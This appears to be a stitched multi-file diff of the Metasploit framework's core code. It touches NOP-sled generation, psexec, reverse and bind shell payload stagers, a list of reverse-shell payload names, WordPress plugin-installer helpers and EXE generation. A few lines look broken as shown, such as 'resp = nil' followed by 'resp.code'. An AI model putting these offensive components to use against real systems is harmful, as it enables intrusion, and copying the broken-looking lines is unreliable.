@events = myworkspace.events.find :all, :order => 'created_at ASC'
|
||||
@events = myworkspace.events.order('created_at ASC')
|
||||
end
|
||||
|
||||
# Extracts all services from a project, storing them in @services
|
||||
|
||||
@@ -2,7 +2,7 @@ module Msf::DBManager::Cred
|
||||
# This methods returns a list of all credentials in the database
|
||||
def creds(wspace=workspace)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
Mdm::Cred.includes({:service => :host}).where("hosts.workspace_id = ?", wspace.id)
|
||||
Mdm::Cred.where("hosts.workspace_id = ?", wspace.id).joins(:service => :host)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
@@ -1002,6 +1002,30 @@ class Exploit < Msf::Module
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generates a NOP sled using the #make_nops method.
|
||||
# The difference between this and #make_nops is this method is much faster, good for exploit
|
||||
# developers that actually want huge chunks of NOPs. The downside of using this is the NOP sled
|
||||
# is less randomized.
|
||||
#
|
||||
# @param count [String] Number of NOPs to return.
|
||||
# @return [String] NOPs
|
||||
#
|
||||
def make_fast_nops(count)
|
||||
max_nop_chunk_size = 100
|
||||
|
||||
if count < max_nop_chunk_size
|
||||
return make_nops(count)
|
||||
end
|
||||
|
||||
nops = make_nops(max_nop_chunk_size)
|
||||
nops += nops while nops.length < count
|
||||
|
||||
nops[0, count]
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generates a nop sled of a supplied length and returns it to the caller.
|
||||
#
|
||||
|
||||
@@ -130,6 +130,7 @@ module Msf
|
||||
xploit.datastore['PAYLOAD'] = p.first[:payload_name]
|
||||
xploit.datastore['LPORT'] = p.first[:payload_lport]
|
||||
xploit.datastore['SRVHOST'] = datastore['SRVHOST']
|
||||
xploit.datastore['SRVPORT'] = datastore['SRVPORT']
|
||||
xploit.datastore['LHOST'] = get_payload_lhost
|
||||
|
||||
%w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|
|
||||
|
||||
@@ -302,7 +302,7 @@ module Msf
|
||||
|
||||
def probe_gateway(addr)
|
||||
dst_host = datastore['GATEWAY_PROBE_HOST']
|
||||
dst_port = datastore['GATEWAY_PROBE_PORT'] == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT']
|
||||
dst_port = datastore['GATEWAY_PROBE_PORT'].to_i == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT']
|
||||
preamble = [datastore['SECRET']].pack("N")
|
||||
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
|
||||
|
||||
|
||||
@@ -306,14 +306,14 @@ module Exploit::CmdStager
|
||||
# overriden by a module this mixin.
|
||||
#
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_cmdstager_begin(opts)
|
||||
def execute_cmdstager_begin(opts = {})
|
||||
end
|
||||
|
||||
# Code to execute after the cmd stager stub. This method is designed to be
|
||||
# overriden by a module this mixin.
|
||||
#
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_cmdstager_end(opts)
|
||||
def execute_cmdstager_end(opts = {})
|
||||
end
|
||||
|
||||
# Code called to execute each command via an arbitrary module-defined vector.
|
||||
@@ -321,7 +321,7 @@ module Exploit::CmdStager
|
||||
#
|
||||
# @param cmd [String] The command to execute.
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_command(cmd, opts)
|
||||
def execute_command(cmd, opts = {})
|
||||
raise NotImplementedError
|
||||
end
|
||||
|
||||
|
||||
@@ -425,7 +425,7 @@ module Exploit::Remote::HttpServer
|
||||
host = "[#{host}]"
|
||||
end
|
||||
|
||||
if datastore['URIPORT'] != 0
|
||||
if datastore['URIPORT'] && datastore['URIPORT'] != 0
|
||||
port = ':' + datastore['URIPORT'].to_s
|
||||
elsif (ssl and datastore["SRVPORT"] == 443)
|
||||
port = ''
|
||||
|
||||
@@ -122,4 +122,17 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs
|
||||
normalize_uri(target_uri.path, 'xmlrpc.php')
|
||||
end
|
||||
|
||||
# Returns the WordPress plugin installer URL
|
||||
#
|
||||
# @return [String] WordPress plugin installer URL
|
||||
def wordpress_url_plugin_install
|
||||
normalize_uri(wordpress_url_backend, 'plugin-install.php')
|
||||
end
|
||||
|
||||
# Returns the WordPress new user URL
|
||||
#
|
||||
# @return [String] WordPress new user URL
|
||||
def wordpress_url_new_user
|
||||
normalize_uri(wordpress_url_backend, 'user-new.php')
|
||||
end
|
||||
end
|
||||
|
||||
@@ -42,6 +42,7 @@ require 'msf/core/exploit/ftpserver'
|
||||
require 'msf/core/exploit/http/client'
|
||||
require 'msf/core/exploit/http/server'
|
||||
require 'msf/core/exploit/smtp'
|
||||
require 'msf/core/exploit/ssh'
|
||||
require 'msf/core/exploit/sunrpc'
|
||||
require 'msf/core/exploit/mssql'
|
||||
require 'msf/core/exploit/mssql_commands'
|
||||
|
||||
@@ -169,7 +169,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||
vprint_status("Removing the service...")
|
||||
svc_status = svc_client.deleteservice(svc_handle)
|
||||
if svc_status == ERROR_SUCCESS
|
||||
vprint_good("Successfully removed the sevice")
|
||||
vprint_good("Successfully removed the service")
|
||||
else
|
||||
print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
|
||||
end
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
module Msf
|
||||
module Exploit::Remote::SSH
|
||||
def ssh_socket_factory
|
||||
Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -142,12 +142,12 @@ module ReverseHttp
|
||||
|
||||
if l && l.length > 0
|
||||
# strip trailing slashes
|
||||
while l[-1] == '/'
|
||||
while l[-1, 1] == '/'
|
||||
l = l[0...-1]
|
||||
end
|
||||
|
||||
# make sure the luri has the prefix
|
||||
if l[0] != '/'
|
||||
if l[0, 1] != '/'
|
||||
l = "/#{l}"
|
||||
end
|
||||
|
||||
@@ -192,7 +192,7 @@ module ReverseHttp
|
||||
self.service.server_name = datastore['MeterpreterServerName']
|
||||
|
||||
# Add the new resource
|
||||
service.add_resource(luri + "/",
|
||||
service.add_resource((luri + "/").gsub("//", "/"),
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request(cli, req)
|
||||
},
|
||||
@@ -212,7 +212,7 @@ module ReverseHttp
|
||||
#
|
||||
def stop_handler
|
||||
if self.service
|
||||
self.service.remove_resource(luri + "/")
|
||||
self.service.remove_resource((luri + "/").gsub("//", "/"))
|
||||
if self.service.resources.empty? && self.sessions == 0
|
||||
Rex::ServiceManager.stop_service(self.service)
|
||||
end
|
||||
@@ -433,7 +433,9 @@ protected
|
||||
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
|
||||
print_status("Unknown request to #{request_summary}")
|
||||
end
|
||||
resp = nil
|
||||
resp.code = 200
|
||||
resp.message = 'OK'
|
||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||
self.pending_connections -= 1
|
||||
end
|
||||
|
||||
|
||||
@@ -207,7 +207,7 @@ protected
|
||||
initialize_abstraction
|
||||
|
||||
self.lsock.extend(TcpReverseDoubleChannelExt)
|
||||
self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":")
|
||||
self.lsock.peerinfo = @sock_inp.getpeername_as_array[1,2].map{|x| x.to_s}.join(":")
|
||||
self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":")
|
||||
|
||||
monitor_shell_stdout
|
||||
|
||||
@@ -256,7 +256,7 @@ protected
|
||||
initialize_abstraction
|
||||
|
||||
self.lsock.extend(TcpReverseDoubleSSLChannelExt)
|
||||
self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":")
|
||||
self.lsock.peerinfo = @sock_inp.getpeername_as_array[1,2].map{|x| x.to_s}.join(":")
|
||||
self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":")
|
||||
|
||||
monitor_shell_stdout
|
||||
|
||||
@@ -28,8 +28,11 @@ class OptRegexp < OptBase
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
return nil if value.nil?
|
||||
return Regexp.compile(value.to_s)
|
||||
if value.nil? || value.kind_of?(Regexp)
|
||||
value
|
||||
else
|
||||
Regexp.compile(value.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
def display_value(value)
|
||||
@@ -38,8 +41,7 @@ class OptRegexp < OptBase
|
||||
elsif value.kind_of?(String)
|
||||
return display_value(normalize(value))
|
||||
end
|
||||
|
||||
return super
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -30,7 +30,7 @@ module Payload::Linux::BindTcp
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
@@ -33,7 +33,7 @@ module Payload::Linux::ReverseTcp
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
@@ -2,32 +2,56 @@
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
# This class is here to implement advanced features for mainframe based
|
||||
# payloads. Mainframe payloads are expected to include this module if
|
||||
# they want to support these features.
|
||||
#
|
||||
###
|
||||
module Msf::Payload::Mainframe
|
||||
|
||||
#
|
||||
# Z notes
|
||||
# Z notes
|
||||
#
|
||||
def initialize(info = {})
|
||||
ret = super(info)
|
||||
super(info)
|
||||
end
|
||||
|
||||
#
|
||||
##
|
||||
# Returns a list of compatible encoders based on mainframe architecture
|
||||
# most will not work because of the different architecture
|
||||
# an XOR-based encoder will be defined soon
|
||||
#
|
||||
##
|
||||
def compatible_encoders
|
||||
encoders = super()
|
||||
encoders2 = ['/generic\/none/','none']
|
||||
|
||||
return encoders2
|
||||
encoders2 = ['/generic\/none/', 'none']
|
||||
encoders2
|
||||
end
|
||||
|
||||
###
|
||||
# This method is here to implement advanced features for cmd:jcl based
|
||||
# payloads. Common to all are the JCL Job Card, and its options which
|
||||
# are defined here. It is optional for other mainframe payloads.
|
||||
###
|
||||
def jcl_jobcard
|
||||
# format paramaters with basic constraints
|
||||
# see http://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/
|
||||
# com.ibm.zos.v2r1.ieab600/iea3b6_Parameter_field8.htm
|
||||
#
|
||||
jobname = format('%1.8s', datastore['JOBNAME']).strip.upcase
|
||||
actnum = format('%1.60s', datastore['ACTNUM']).strip.upcase
|
||||
pgmname = format('%1.20s', datastore['PGMNAME']).strip
|
||||
jclass = format('%1.1s', datastore['JCLASS']).strip.upcase
|
||||
notify = format('%1.8s', datastore['NOTIFY']).strip.upcase
|
||||
notify = if !notify.empty? && datastore['NTFYUSR']
|
||||
"// NOTIFY=#{notify}, \n"
|
||||
else
|
||||
""
|
||||
end
|
||||
msgclass = format('%1.1s', datastore['MSGCLASS']).strip.upcase
|
||||
msglevel = format('%5.5s', datastore['MSGLEVEL']).strip
|
||||
|
||||
# build payload
|
||||
"//#{jobname} JOB " \
|
||||
"(#{actnum}),\n" \
|
||||
"// '#{pgmname}',\n" \
|
||||
"// CLASS=#{jclass},\n" \
|
||||
"#{notify}" \
|
||||
"// MSGCLASS=#{msgclass},\n" \
|
||||
"// MSGLEVEL=#{msglevel},\n" \
|
||||
"// REGION=0M \n"
|
||||
end
|
||||
end
|
||||
|
||||
@@ -34,7 +34,7 @@ module Payload::Windows::BindTcp
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
@@ -32,7 +32,7 @@ module Payload::Windows::BindTcpRc4
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
@@ -50,7 +50,7 @@ module Payload::Windows::ReverseHttp
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
|
||||
@@ -34,7 +34,7 @@ module Payload::Windows::ReverseTcp
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
@@ -38,7 +38,7 @@ module Payload::Windows::ReverseTcpDns
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
@@ -34,7 +34,7 @@ module Payload::Windows::ReverseTcpRc4
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
@@ -34,7 +34,7 @@ module Payload::Windows::ReverseTcpRc4Dns
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
@@ -36,7 +36,7 @@ module Payload::Windows::ReverseWinHttp
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:uri] = generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||
|
||||
@@ -32,7 +32,7 @@ module Payload::Windows::BindTcp_x64
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
@@ -54,7 +54,7 @@ module Payload::Windows::ReverseHttp_x64
|
||||
}
|
||||
|
||||
# add extended options if we do have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
|
||||
@@ -41,7 +41,7 @@ module Payload::Windows::ReverseTcp_x64
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
@@ -37,7 +37,7 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:uri] = generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||
|
||||
@@ -778,8 +778,13 @@ class Core
|
||||
if dump_json
|
||||
print(Serializer::Json.dump_module(active_module) + "\n")
|
||||
elsif show_doc
|
||||
print_status("Please wait, generating documentation for #{active_module.shortname}")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(active_module)
|
||||
f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html'])
|
||||
begin
|
||||
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
|
||||
ensure
|
||||
f.close if f
|
||||
end
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(active_module))
|
||||
end
|
||||
@@ -801,8 +806,13 @@ class Core
|
||||
elsif dump_json
|
||||
print(Serializer::Json.dump_module(mod) + "\n")
|
||||
elsif show_doc
|
||||
print_status("Please wait, generating documentation for #{mod.shortname}")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(mod)
|
||||
f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html'])
|
||||
begin
|
||||
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
|
||||
ensure
|
||||
f.close if f
|
||||
end
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(mod))
|
||||
end
|
||||
|
||||
@@ -1360,6 +1360,8 @@ class Db
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr
|
||||
end
|
||||
else
|
||||
csv_note << ''
|
||||
end
|
||||
if (note.service)
|
||||
msg << " service=#{note.service.name}" if note.service.name
|
||||
|
||||
@@ -227,6 +227,7 @@ class Exploit
|
||||
'php/meterpreter/reverse_tcp',
|
||||
'php/meterpreter_reverse_tcp',
|
||||
'ruby/shell_reverse_tcp',
|
||||
'nodejs/shell_reverse_tcp',
|
||||
'cmd/unix/interact',
|
||||
'cmd/unix/reverse',
|
||||
'cmd/unix/reverse_perl',
|
||||
|
||||
@@ -15,15 +15,12 @@ module Msf
|
||||
# Spawns a module document with a browser locally.
|
||||
#
|
||||
# @param mod [Msf::Module] Module to create document for.
|
||||
# @param out_file [Rex::Quickfile] File handle to write the document to.
|
||||
# @return [void]
|
||||
def self.spawn_module_document(mod)
|
||||
def self.spawn_module_document(mod, out_file)
|
||||
md = get_module_document(mod)
|
||||
f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
|
||||
f.write(md)
|
||||
f.close
|
||||
kb_path = f.path
|
||||
|
||||
Rex::Compat.open_webrtc_browser("file://#{kb_path}")
|
||||
out_file.write(md)
|
||||
Rex::Compat.open_webrtc_browser("file://#{out_file.path}")
|
||||
end
|
||||
|
||||
|
||||
|
||||
+27
-4
@@ -13,7 +13,7 @@ class EXE
|
||||
require 'rex'
|
||||
require 'rex/peparsey'
|
||||
require 'rex/pescan'
|
||||
require 'rex/random_identifier_generator'
|
||||
require 'rex/random_identifier'
|
||||
require 'rex/zip'
|
||||
require 'rex/powershell'
|
||||
require 'metasm'
|
||||
@@ -74,6 +74,29 @@ require 'msf/core/exe/segment_appender'
|
||||
template % hash_sub
|
||||
end
|
||||
|
||||
|
||||
# Generates a ZIP file.
|
||||
#
|
||||
# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:
|
||||
# * :data - The content of the file.
|
||||
# * :fname - The file path in the ZIP file
|
||||
# * :comment - A comment
|
||||
# @example Compressing two files, one in a folder called 'test'
|
||||
# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])
|
||||
# @return [String]
|
||||
def self.to_zip(files)
|
||||
zip = Rex::Zip::Archive.new
|
||||
|
||||
files.each do |f|
|
||||
data = f[:data]
|
||||
fname = f[:fname]
|
||||
comment = f[:comment] || ''
|
||||
zip.add_file(fname, data, comment)
|
||||
end
|
||||
|
||||
zip.pack
|
||||
end
|
||||
|
||||
# Executable generators
|
||||
#
|
||||
# @param arch [Array<String>] The architecture of the system (i.e :x86, :x64)
|
||||
@@ -1216,7 +1239,7 @@ require 'msf/core/exe/segment_appender'
|
||||
method: 'reflection')
|
||||
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig = Rex::RandomIdentifier::Generator.new()
|
||||
rig.init_var(:sub_auto_open)
|
||||
rig.init_var(:var_powershell)
|
||||
|
||||
@@ -1307,7 +1330,7 @@ require 'msf/core/exe/segment_appender'
|
||||
|
||||
def self.to_mem_aspx(framework, code, exeopts = {})
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig = Rex::RandomIdentifier::Generator.new()
|
||||
rig.init_var(:var_funcAddr)
|
||||
rig.init_var(:var_hThread)
|
||||
rig.init_var(:var_pInfo)
|
||||
@@ -1370,7 +1393,7 @@ require 'msf/core/exe/segment_appender'
|
||||
method: 'reflection')
|
||||
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig = Rex::RandomIdentifier::Generator.new()
|
||||
rig.init_var(:var_shell)
|
||||
rig.init_var(:var_fso)
|
||||
|
||||
|
||||
-232
@@ -1,232 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
|
||||
# Make sure HOME is set, regardless of OS, so that File.expand_path works
|
||||
# as expected with tilde characters.
|
||||
ENV['HOME'] ||= ENV['HOMEPATH'] ? "#{ENV['HOMEDRIVE']}#{ENV['HOMEPATH']}" : "."
|
||||
|
||||
require 'logger'
|
||||
|
||||
require 'net/ssh/config'
|
||||
require 'net/ssh/errors'
|
||||
require 'net/ssh/loggable'
|
||||
require 'net/ssh/transport/session'
|
||||
require 'net/ssh/authentication/session'
|
||||
require 'net/ssh/connection/session'
|
||||
require 'net/ssh/command_stream'
|
||||
require 'net/ssh/utils'
|
||||
|
||||
module Net
|
||||
|
||||
# Net::SSH is a library for interacting, programmatically, with remote
|
||||
# processes via the SSH2 protocol. Sessions are always initiated via
|
||||
# Net::SSH.start. From there, a program interacts with the new SSH session
|
||||
# via the convenience methods on Net::SSH::Connection::Session, by opening
|
||||
# and interacting with new channels (Net::SSH::Connection:Session#open_channel
|
||||
# and Net::SSH::Connection::Channel), or by forwarding local and/or
|
||||
# remote ports through the connection (Net::SSH::Service::Forward).
|
||||
#
|
||||
# The SSH protocol is very event-oriented. Requests are sent from the client
|
||||
# to the server, and are answered asynchronously. This gives great flexibility
|
||||
# (since clients can have multiple requests pending at a time), but it also
|
||||
# adds complexity. Net::SSH tries to manage this complexity by providing
|
||||
# some simpler methods of synchronous communication (see Net::SSH::Connection::Session#exec!).
|
||||
#
|
||||
# In general, though, and if you want to do anything more complicated than
|
||||
# simply executing commands and capturing their output, you'll need to use
|
||||
# channels (Net::SSH::Connection::Channel) to build state machines that are
|
||||
# executed while the event loop runs (Net::SSH::Connection::Session#loop).
|
||||
#
|
||||
# Net::SSH::Connection::Session and Net::SSH::Connection::Channel have more
|
||||
# information about this technique.
|
||||
#
|
||||
# = "Um, all I want to do is X, just show me how!"
|
||||
#
|
||||
# == X == "execute a command and capture the output"
|
||||
#
|
||||
# Net::SSH.start("host", "user", :password => "password") do |ssh|
|
||||
# result = ssh.exec!("ls -l")
|
||||
# puts result
|
||||
# end
|
||||
#
|
||||
# == X == "forward connections on a local port to a remote host"
|
||||
#
|
||||
# Net::SSH.start("host", "user", :password => "password") do |ssh|
|
||||
# ssh.forward.local(1234, "www.google.com", 80)
|
||||
# ssh.loop { true }
|
||||
# end
|
||||
#
|
||||
# == X == "forward connections on a remote port to the local host"
|
||||
#
|
||||
# Net::SSH.start("host", "user", :password => "password") do |ssh|
|
||||
# ssh.forward.remote(80, "www.google.com", 1234)
|
||||
# ssh.loop { true }
|
||||
# end
|
||||
module SSH
|
||||
# This is the set of options that Net::SSH.start recognizes. See
|
||||
# Net::SSH.start for a description of each option.
|
||||
VALID_OPTIONS = [
|
||||
:auth_methods, :compression, :compression_level, :config, :encryption,
|
||||
:forward_agent, :hmac, :host_key, :kex, :keys, :key_data, :languages,
|
||||
:logger, :paranoid, :password, :port, :proxy, :rekey_blocks_limit,
|
||||
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
|
||||
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
|
||||
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule,
|
||||
:record_auth_info, :skip_private_keys, :accepted_key_callback, :disable_agent,
|
||||
:proxies
|
||||
]
|
||||
|
||||
# The standard means of starting a new SSH connection. When used with a
|
||||
# block, the connection will be closed when the block terminates, otherwise
|
||||
# the connection will just be returned. The yielded (or returned) value
|
||||
# will be an instance of Net::SSH::Connection::Session (q.v.). (See also
|
||||
# Net::SSH::Connection::Channel and Net::SSH::Service::Forward.)
|
||||
#
|
||||
# Net::SSH.start("host", "user") do |ssh|
|
||||
# ssh.exec! "cp /some/file /another/location"
|
||||
# hostname = ssh.exec!("hostname")
|
||||
#
|
||||
# ssh.open_channel do |ch|
|
||||
# ch.exec "sudo -p 'sudo password: ' ls" do |ch, success|
|
||||
# abort "could not execute sudo ls" unless success
|
||||
#
|
||||
# ch.on_data do |ch, data|
|
||||
# print data
|
||||
# if data =~ /sudo password: /
|
||||
# ch.send_data("password\n")
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# ssh.loop
|
||||
# end
|
||||
#
|
||||
# This method accepts the following options (all are optional):
|
||||
#
|
||||
# * :auth_methods => an array of authentication methods to try
|
||||
# * :compression => the compression algorithm to use, or +true+ to use
|
||||
# whatever is supported.
|
||||
# * :compression_level => the compression level to use when sending data
|
||||
# * :config => set to +true+ to load the default OpenSSH config files
|
||||
# (~/.ssh/config, /etc/ssh_config), or to +false+ to not load them, or to
|
||||
# a file-name (or array of file-names) to load those specific configuration
|
||||
# files. Defaults to +true+.
|
||||
# * :encryption => the encryption cipher (or ciphers) to use
|
||||
# * :forward_agent => set to true if you want the SSH agent connection to
|
||||
# be forwarded
|
||||
# * :global_known_hosts_file => the location of the global known hosts
|
||||
# file. Set to an array if you want to specify multiple global known
|
||||
# hosts files. Defaults to %w(/etc/ssh/known_hosts /etc/ssh/known_hosts2).
|
||||
# * :hmac => the hmac algorithm (or algorithms) to use
|
||||
# * :host_key => the host key algorithm (or algorithms) to use
|
||||
# * :host_key_alias => the host name to use when looking up or adding a
|
||||
# host to a known_hosts dictionary file
|
||||
# * :host_name => the real host name or IP to log into. This is used
|
||||
# instead of the +host+ parameter, and is primarily only useful when
|
||||
# specified in an SSH configuration file. It lets you specify an
|
||||
# "alias", similarly to adding an entry in /etc/hosts but without needing
|
||||
# to modify /etc/hosts.
|
||||
# * :kex => the key exchange algorithm (or algorithms) to use
|
||||
# * :keys => an array of file names of private keys to use for publickey
|
||||
# and hostbased authentication
|
||||
# * :key_data => an array of strings, with each element of the array being
|
||||
# a raw private key in PEM format.
|
||||
# * :logger => the logger instance to use when logging
|
||||
# * :paranoid => either true, false, or :very, specifying how strict
|
||||
# host-key verification should be
|
||||
# * :passphrase => the passphrase to use when loading a private key (default
|
||||
# is +nil+, for no passphrase)
|
||||
# * :password => the password to use to login
|
||||
# * :port => the port to use when connecting to the remote host
|
||||
# * :properties => a hash of key/value pairs to add to the new connection's
|
||||
# properties (see Net::SSH::Connection::Session#properties)
|
||||
# * :proxy => a proxy instance (see Proxy) to use when connecting
|
||||
# * :rekey_blocks_limit => the max number of blocks to process before rekeying
|
||||
# * :rekey_limit => the max number of bytes to process before rekeying
|
||||
# * :rekey_packet_limit => the max number of packets to process before rekeying
|
||||
# * :timeout => how long to wait for the initial connection to be made
|
||||
# * :user => the user name to log in as; this overrides the +user+
|
||||
# parameter, and is primarily only useful when provided via an SSH
|
||||
# configuration file.
|
||||
# * :user_known_hosts_file => the location of the user known hosts file.
|
||||
# Set to an array to specify multiple user known hosts files.
|
||||
# Defaults to %w(~/.ssh/known_hosts ~/.ssh/known_hosts2).
|
||||
# * :verbose => how verbose to be (Logger verbosity constants, Logger::DEBUG
|
||||
# is very verbose, Logger::FATAL is all but silent). Logger::FATAL is the
|
||||
# default. The symbols :debug, :info, :warn, :error, and :fatal are also
|
||||
# supported and are translated to the corresponding Logger constant.
|
||||
def self.start(host, user, options={}, &block)
|
||||
invalid_options = options.keys - VALID_OPTIONS
|
||||
if invalid_options.any?
|
||||
raise ArgumentError, "invalid option(s): #{invalid_options.join(', ')}"
|
||||
end
|
||||
|
||||
options[:user] = user if user
|
||||
options = configuration_for(host, options.fetch(:config, true)).merge(options)
|
||||
host = options.fetch(:host_name, host)
|
||||
|
||||
if !options.key?(:logger)
|
||||
options[:logger] = Logger.new(STDERR)
|
||||
options[:logger].level = Logger::FATAL
|
||||
end
|
||||
|
||||
if options[:verbose]
|
||||
options[:logger].level = case options[:verbose]
|
||||
when Fixnum then options[:verbose]
|
||||
when :debug then Logger::DEBUG
|
||||
when :info then Logger::INFO
|
||||
when :warn then Logger::WARN
|
||||
when :error then Logger::ERROR
|
||||
when :fatal then Logger::FATAL
|
||||
else raise ArgumentError, "can't convert #{options[:verbose].inspect} to any of the Logger level constants"
|
||||
end
|
||||
end
|
||||
|
||||
transport = Transport::Session.new(host, options)
|
||||
auth = Authentication::Session.new(transport, options)
|
||||
|
||||
user = options.fetch(:user, user)
|
||||
if auth.authenticate("ssh-connection", user, options[:password])
|
||||
